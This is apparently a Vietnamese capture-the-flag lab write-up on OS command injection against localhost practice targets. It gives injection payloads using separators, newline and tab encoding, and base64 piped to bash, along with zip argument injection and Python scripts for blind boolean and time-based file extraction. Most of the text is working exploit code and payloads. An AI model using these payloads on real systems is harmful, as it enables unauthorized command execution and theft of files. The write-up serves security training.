# Lab 1 ## level 1 Thử lệnh ping 8.8.8.8 ![](https://hackmd.io/_uploads/H1vxujvfa.png) => Có thể thấy kết quả của request. Level này không lọc dữ liệu đầu vào nên có thể chèn lệnh bình thường. Nhập `; ls /` để tìm file chứa flag. ![](https://hackmd.io/_uploads/ByK3B8Gza.png) Thay lệnh ls bằng `cat /142awdfasd_secret.txt` để đọc file này. ![](https://hackmd.io/_uploads/H1Dv8LfMT.png) - `Flag: CBJS{Basic_Command_Injection_0b4df8ed64f424432facd35e16883402}` ## level 2 ![](https://hackmd.io/_uploads/HkpuYsPMp.png) Input bài này chặn kí tự `;`. Ngoài `;` có thể dùng các kí tự `&` hoặc `|` để chèn thêm một command. Làm tương tự level 1, tìm file chứa flag: ![](https://hackmd.io/_uploads/r1dguUMzT.png) Đọc file: ![](https://hackmd.io/_uploads/S1dzdIfMT.png) - Flag: `CBJS{Command_Injection_Dont_need_semicolon_763d036657127a4f21c670530e319b52}` ## level 3 Bài này chặn cả 3 kí tự `;`, `&`, `|`. Vì mỗi câu lệnh trong os command nằm trên một dòng riêng nên ta có thể thêm một câu lệnh bằng cách bắt đầu một dòng mới với kí tự `%0A`. => Input: `%0A ls /` ![](https://hackmd.io/_uploads/rJEg6UGfa.png) Thay `ls /` thành `cat 3ef1cafd_secret.txt` để đọc file và lấy flag ![](https://hackmd.io/_uploads/HkTDR8zMp.png) - Flag: `CBJS{Not_only_;&|_but_there_are_mor_520c298589c33766dc2688b3866c95cb}` ## level 4 ![](https://hackmd.io/_uploads/BJV00IzGp.png) Bài này không trả về kết quả của request, ta phải tìm cách lấy được flag và đảm bảo đúng cú pháp của câu lệnh zip. Xem file docker ![](https://hackmd.io/_uploads/BkDZxPzM6.png) ta thấy file chứa flag là file `/aefd123cdf_secret.txt`. Nhập input là `../var/www/html/backup.zip -r /aefd123cdf_secret.txt` để nén file flag vào đường dẫn var/www/html/backup.zip để có thể lấy được file zip flag tại `localhost:3004/backup.zip`. Giải nén file và xem flag ![](https://hackmd.io/_uploads/BkLL-DGMp.png) - Flag: `CBJS{Blind_Command_Injection_a3183b33bb4885bbd0c9ddfe20c35ab8} ## level 6 - Script bruteforce thư mục root: ``` import requests import string url = "http://localhost:3006" wl = string.ascii_letters wl += "".join(['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '`', '~', '!', '@', '$', '%', '-', '_', "'", '{', '}','.']) start = 1 data = {"command":"backup", "target":"test"} result = "" while 1: for check in wl: data['target'] = "ab | if((expr substr `ls / | tr \"\n\r\" \"-\"` {} 1 = {})); then echo 1; else echo zip error; fi #".format(start, check) response = requests.post(url, data) if("Backup th" in response.text): result += check start += 1 print(result) break else: break ``` Kết quả: ![](https://hackmd.io/_uploads/BypX4ODMp.png) - Script bruteforce flag: ``` import requests import string url = "http://localhost:3006" wl = string.ascii_letters wl += "".join(['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '`', '~', '!', '@', '$', '%', '-', '_', "'", '{', '}','.']) start = 1 data = {"command":"backup", "target":"test"} result = "" while 1: for check in wl: data['target'] = "ab | if((expr substr `cat /secret_file | tr \"\n\r\" \"-\"` {} 1 = {})); then echo 1; else echo zip error; fi #".format(start, check) response = requests.post(url, data) if("Backup th" in response.text): result += check start += 1 print(result) break else: break ``` Kết quả: ![](https://hackmd.io/_uploads/r1u3Vuwfa.png) - Flag:`CBJS{trUe_0r_f4lse_d3tEct1on_b56c6ec4dd59e1741144ee8913e6b857}` ## level 7 Do bài này chỉ thông báo "Đã chạy câu lệnh backup" chứ không thông báo backup có thành công hay không, nên ta phải dùng time-based. Bruteforce thư mục gốc: ``` import requests import string url = "http://localhost:3007" wl = string.ascii_letters wl += "".join(['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '`', '~', '!', '@', '$', '%', '-', '_', "'", '{', '}','.']) start = 1 data = {"command":"backup", "target":"test"} result = "" while 1: for check in wl: data['target'] = "ab | if((expr substr `ls / | tr \"\n\r\" \"-\"` {} 1 = {})); then sleep 0.5; else echo zip error; fi #".format(start, check) response = requests.post(url, data) request_time = response.elapsed.total_seconds() if(request_time >= 0.5): result += check start+=1 print(result) break else: print("Result:",result) break ``` Kết quả: ![](https://hackmd.io/_uploads/BkTnqqDza.png) Bruteforce flag: ``` import requests import string url = "http://localhost:3007" wl = string.ascii_letters wl += "".join(['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '`', '~', '!', '@', '$', '%', '-', '_', "'", '{', '}','.']) start = 1 data = {"command":"backup", "target":"test"} result = "" while 1: for check in wl: data['target'] = "ab | if((expr substr `cat /aef15696cd_secret.txt` {} 1 = {})); then sleep 0.5; else echo zip error; fi #".format(start, check) response = requests.post(url, data) request_time = response.elapsed.total_seconds() if(request_time >= 0.5): result += check start+=1 print(result) break else: print("Result:",result) break ``` Kết quả: ![](https://hackmd.io/_uploads/HJITT5Pfa.png) - Flag: `CBJS{Dr_Str4nge_W1Ll_pR0ud_oF_y0U_5be2459fbc44d1c2331cb840acd15fd0}` # Lab 4in1 ## level 1 Xem source ta thấy ở type `figlet` có thể khai thác lỗi qua biến `username` ![](https://hackmd.io/_uploads/SJ0phBrMp.png) Level này addslashes nên không được dùng các kí tự ', ", \ trong input. Dùng kí tự `` để thực thi command: ``` `ls /` ``` để tìm file chứa flag, ta tìm thấy file secret_file. ![](https://hackmd.io/_uploads/S1EOi8Bzp.png) Sau đó nhập ``` `cat /secret_file` ``` để xem flag. ![](https://hackmd.io/_uploads/Byx-28rf6.png) - Flag: `You are master of Command Injection now! b38e625204bd8d09089d3eacc3a9c862` ## level 2 Tương tự như level 1, Dùng ``` `ls /` ``` để tìm file chứa flag. Để đọc file flag, ta dùng lệnh `cat /secret_file`. Tuy nhiên, bài này chỉ lấy 10 kí tự từ input ![](https://hackmd.io/_uploads/S1y_1PSza.png) Mà do trong thư mục / chỉ có 1 file là file chứa flag nên ta có thể dùng lệnh ``` `cat /*` ``` để đọc file và lấy flag. ![](https://hackmd.io/_uploads/rJLQewrGa.png) - Flag: `You are master of Command Injection now! b38e625204bd8d09089d3eacc3a9c862` ## level 3 Theo thứ tự bảng mã ascii, level này lọc các kí tự từ `space` đến `)` và kí tự `/`. ![](https://hackmd.io/_uploads/SyofqYSMa.png) Encode base64 lệnh `ls /` và dùng `%09` thay cho space để bypass filter và xem thư mục gốc. => Input: ``` `echo%09bHMgLw==|base64%09-d|bash` ``` ![](https://hackmd.io/_uploads/HJVNIgdz6.png) Lại là secret_file. Để xem lấy được flag, thay đoạn mã base64 của lệnh `ls /` bằng base64 của lệnh `cat /secret_file` => Input: ``` `echo%09Y2F0IC9zZWNyZXRfZmlsZQ==|base64%09-d|bash` ``` ![](https://hackmd.io/_uploads/HJu5RSIzp.png) - Flag: `You are master of Command Injection now! b38e625204bd8d09089d3eacc3a9c862` ## level 4 Do bài này filter thêm một số kí tự đặc biệt như `;`, `<`, `>`...và không có trong payload level 3 nên làm giống như level 3 là được. - Kiểm tra thư mục root: ``` echo%09bHMgLw==|base64%09-d|bash` ``` ![](https://hackmd.io/_uploads/BJYLTC8Ga.png) - Xem flag: ``` `echo%09Y2F0IC9zZWNyZXRfZmlsZQ==|base64%09-d|bash` ``` ![](https://hackmd.io/_uploads/Hyb-CA8M6.png) - Flag: `You are master of Command Injection now! b38e625204bd8d09089d3eacc3a9c862`